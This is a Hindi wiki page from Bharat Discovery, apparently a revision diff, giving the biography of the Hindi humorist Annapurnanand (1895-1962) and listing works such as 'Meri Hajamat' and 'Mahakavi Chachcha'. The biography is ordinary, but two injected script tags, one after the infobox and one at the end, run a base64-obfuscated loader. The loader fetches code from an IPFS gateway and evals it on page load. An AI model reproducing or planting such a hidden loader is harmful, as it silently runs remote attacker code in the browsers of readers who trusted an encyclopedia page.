"अन्नपूर्णानन्द" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
 
(3 सदस्यों द्वारा किये गये बीच के 7 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
{{पुनरीक्षण}}
+
{{सूचना बक्सा साहित्यकार
*(1895-1962 ई.) [[काशी]] के निवासी कहानीकार।
+
|चित्र=Blankimage.png
*कृतियाँ- मेरी हजामत, महाकवि चच्चा इत्यादि।
+
|चित्र का नाम=अन्नपूर्णानन्द
 +
|पूरा नाम=अन्नपूर्णानन्द
 +
|अन्य नाम=
 +
|जन्म=[[21 सितम्बर]], [[1895]]
 +
|जन्म भूमि=
 +
|मृत्यु=[[4 दिसम्बर]], [[1962]]
 +
|मृत्यु स्थान=
 +
|अभिभावक=
 +
|पालक माता-पिता=
 +
|पति/पत्नी=
 +
|संतान=
 +
|कर्म भूमि=[[भारत]]
 +
|कर्म-क्षेत्र=
 +
|मुख्य रचनाएँ='मनमयूर', 'मेरी हजामत', 'मंगलमोद', 'महाकवि चच्चा' आदि।
 +
|विषय=
 +
|भाषा=
 +
|विद्यालय=
 +
|शिक्षा=
 +
|पुरस्कार-उपाधि=
 +
|प्रसिद्धि=हास्य लेखक
 +
|विशेष योगदान=
 +
|नागरिकता=भारतीय
 +
|संबंधित लेख=
 +
|शीर्षक 1=
 +
|पाठ 1=
 +
|शीर्षक 2=
 +
|पाठ 2=
 +
|अन्य जानकारी=अन्नपूर्णानन्द ने प्रमुखत: [[कहानी|कहानियाँ]] लिखी हैं। अधिकांश कहानियों में [[काशी|काशी नगर]] के वातावरण को मूर्तिमान किया है।
 +
|बाहरी कड़ियाँ=
 +
|अद्यतन=
 +
}}
 +
'''अन्नपूर्णानन्द''' ([[अंग्रेज़ी]]: ''Annpurnanand'', जन्म- [[21 सितम्बर]], [[1895]]; मृत्यु- [[4 दिसम्बर]], [[1962]]) [[हिन्दी]] में शिष्ट हास्य लिखने वाले कलाकारों में अग्रणी थे।  ये 22 वर्ष की आयु में [[साहित्य]] के क्षेत्र में आए, और इनका पहला [[निबंध]]- '[[खोपड़ी]]' प्रसिद्ध हास्यपत्र 'मतवाला' में प्रकाशित हुआ। उन्होंने प्रमुखत: [[कहानी|कहानियाँ]] लिखी हैं, जिनमें हास्य की योजना [[भाषा]] के स्तर और परिस्थितियों की विडम्बना पर आधारित है। इन्होंने हिंदी के शिष्ट हास्य रस के साहित्य को ऊँचा उठाया। अन्नपूर्णानन्द लिखते बहुत कम थे पर जो कुछ लिखा वह [[समाज]] के प्रति मीठी चुटकियाँ लिए हुए कुरीतियों को दूर करने के लिए और किसी के प्रति द्वेष या मत्सर न रखकर समाज को जगाने के लिए लिखा। उनका हास्य कोरे विदूषकत्व से भिन्न कोटि का था।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=हिन्दी विश्वकोश, खण्ड 1|लेखक= |अनुवादक= |आलोचक= |प्रकाशक= नागरी प्रचारिणी सभा, वाराणसी|संकलन= भारत डिस्कवरी पुस्तकालय|संपादन= |पृष्ठ संख्या=130 |url=}}</ref>
  
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}
+
*अन्नपूर्णानन्द [[काशी]], [[उत्तर प्रदेश]] के निवासी थे। उन्होंने अधिकांश कहानियों में काशी नगर के वातावरण को मूर्तिमान किया है।
{{संदर्भ ग्रंथ}}
+
*लेखक स्वयं बराबर काशी में ही रहे। कुछ दिनों तक अपने बड़े भाई [[सम्पूर्णानन्द]], जो [[उत्तर प्रदेश के मुख्यमंत्री]] थे, के साथ [[लखनऊ]] में भी रहे।
 +
*अन्नपूर्णानन्द की निम्न रचनाएँ प्रकाशित हुई थीं<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=हिन्दी साहित्य कोश, भाग 2|लेखक= |अनुवादक= |आलोचक= |प्रकाशक=ज्ञानमण्डल लिमिटेड, वाराणसी|संकलन= भारतकोश पुस्तकालय|संपादन= डॉ. धीरेंद्र वर्मा|पृष्ठ संख्या=16|url=}}</ref>-
 +
#'मनमयूर'
 +
#'मेरी हजामत'
 +
#'मंगलमोद'
 +
#'मगन रहु चोला'
 +
#'महाकवि चच्चा' (1932 ई.)
 +
#'पं. विलासी मिश्र'
 +
 
 +
* अन्नपूर्णानन्द ने पंडित मोतीलाल नेहरू के पत्र 'इंडिपेंडेंट' में कुछ समय श्री श्रीप्रकाश के साथ काम किया।
 +
*अन्नपूर्णानन्द दानवीर [[शिवप्रसाद गुप्त]] के निजी सचिव थे। गुप्तजी के साथ ही आपने संसार भ्रमण भी किया था।
 +
 
 +
{{लेख प्रगति|आधार=|प्रारम्भिक= प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>
 
==संबंधित लेख==
 
==संबंधित लेख==
 
{{साहित्यकार}}
 
{{साहित्यकार}}
[[Category:साहित्य_कोश]]
+
[[Category:साहित्यकार]][[Category:लेखक]][[Category:आधुनिक लेखक]][[Category:चरित कोश]][[Category:जीवनी साहित्य]][[Category:साहित्य_कोश]][[Category:हिन्दी विश्वकोश]]
[[Category:साहित्यकार]]
 
[[Category:लेखक]][[Category:आधुनिक लेखक]]
 
 
__INDEX__
 
__INDEX__

07:20, 26 मई 2018 के समय का अवतरण

अन्नपूर्णानन्द
अन्नपूर्णानन्द
पूरा नाम अन्नपूर्णानन्द
जन्म 21 सितम्बर, 1895
मृत्यु 4 दिसम्बर, 1962
कर्म भूमि भारत
मुख्य रचनाएँ 'मनमयूर', 'मेरी हजामत', 'मंगलमोद', 'महाकवि चच्चा' आदि।
प्रसिद्धि हास्य लेखक
नागरिकता भारतीय
अन्य जानकारी अन्नपूर्णानन्द ने प्रमुखत: कहानियाँ लिखी हैं। अधिकांश कहानियों में काशी नगर के वातावरण को मूर्तिमान किया है।
इन्हें भी देखें कवि सूची, साहित्यकार सूची

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

अन्नपूर्णानन्द (अंग्रेज़ी: Annpurnanand, जन्म- 21 सितम्बर, 1895; मृत्यु- 4 दिसम्बर, 1962) हिन्दी में शिष्ट हास्य लिखने वाले कलाकारों में अग्रणी थे। ये 22 वर्ष की आयु में साहित्य के क्षेत्र में आए, और इनका पहला निबंध- 'खोपड़ी' प्रसिद्ध हास्यपत्र 'मतवाला' में प्रकाशित हुआ। उन्होंने प्रमुखत: कहानियाँ लिखी हैं, जिनमें हास्य की योजना भाषा के स्तर और परिस्थितियों की विडम्बना पर आधारित है। इन्होंने हिंदी के शिष्ट हास्य रस के साहित्य को ऊँचा उठाया। अन्नपूर्णानन्द लिखते बहुत कम थे पर जो कुछ लिखा वह समाज के प्रति मीठी चुटकियाँ लिए हुए कुरीतियों को दूर करने के लिए और किसी के प्रति द्वेष या मत्सर न रखकर समाज को जगाने के लिए लिखा। उनका हास्य कोरे विदूषकत्व से भिन्न कोटि का था।[1]

  1. 'मनमयूर'
  2. 'मेरी हजामत'
  3. 'मंगलमोद'
  4. 'मगन रहु चोला'
  5. 'महाकवि चच्चा' (1932 ई.)
  6. 'पं. विलासी मिश्र'
  • अन्नपूर्णानन्द ने पंडित मोतीलाल नेहरू के पत्र 'इंडिपेंडेंट' में कुछ समय श्री श्रीप्रकाश के साथ काम किया।
  • अन्नपूर्णानन्द दानवीर शिवप्रसाद गुप्त के निजी सचिव थे। गुप्तजी के साथ ही आपने संसार भ्रमण भी किया था।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. हिन्दी विश्वकोश, खण्ड 1 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 130 |
  2. हिन्दी साहित्य कोश, भाग 2 |प्रकाशक: ज्ञानमण्डल लिमिटेड, वाराणसी |संकलन: भारतकोश पुस्तकालय |संपादन: डॉ. धीरेंद्र वर्मा |पृष्ठ संख्या: 16 |

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>